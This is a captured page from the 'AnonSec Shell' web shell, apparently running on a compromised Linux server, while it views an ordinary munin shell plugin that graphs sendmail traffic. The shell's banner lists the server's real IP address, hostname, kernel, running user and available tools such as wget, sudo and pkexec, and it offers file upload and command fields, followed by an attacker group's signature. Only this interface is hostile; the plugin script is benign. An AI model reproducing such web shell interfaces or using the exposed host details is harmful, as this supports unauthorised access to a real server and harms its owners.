AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.118.186.100
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/982/root/usr/share/munin/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/982/root/usr/share/munin/plugins/sendmail_mailtraffic
#!/usr/bin/sh
# -*- sh -*-

: << =cut

=head1 NAME

sendmail_mailtraffic - Plugin to monitor sendmail statistics

=head1 CONFIGURATION

This plugin uses the following configuration variables:

 [sendmail_mailstats]
  env.mailstats - Path to the "mailstats" command

=head2 DEFAULT CONFIGURATION

The default configuration for "mailstats" is to look for a binary called "mailstats" in PATH.

=head1 AUTHOR

Unknown author

=head1 LICENSE

GPLv2

=head1 MAGIC MARKERS

 #%# family=auto
 #%# capabilities=autoconf

=cut


MAILSTATS=${mailstats:-$(command -v mailstats)}


if [ "$1" = "autoconf" ]; then
	if [ -n "$MAILSTATS" ] && [ -x "$MAILSTATS" ]
		then echo yes
		else echo "no (no mailstats command)"
	fi
	exit 0
fi

if [ "$1" = "config" ]; then

	echo "graph_title Sendmail email volumes"
	echo "graph_order received sent"
	# shellcheck disable=SC2016
	echo 'graph_vlabel bytes/${graph_period}'
	echo "graph_category sendmail"
	echo "received.label received"
	echo "sent.label sent"
	echo "received.max 1000000"
	echo "received.min 0"
	echo "sent.max 1000000"
	echo "sent.min 0"
	echo "received.type DERIVE"
	echo "sent.type DERIVE"
	exit 0
fi

$MAILSTATS -P | awk '/^ *T/ {
  received = received + $5
  sent = sent + $3
}

END {
  print "received.value", received
  print "sent.value", sent
}'


Anon7 - 2022
AnonSec Team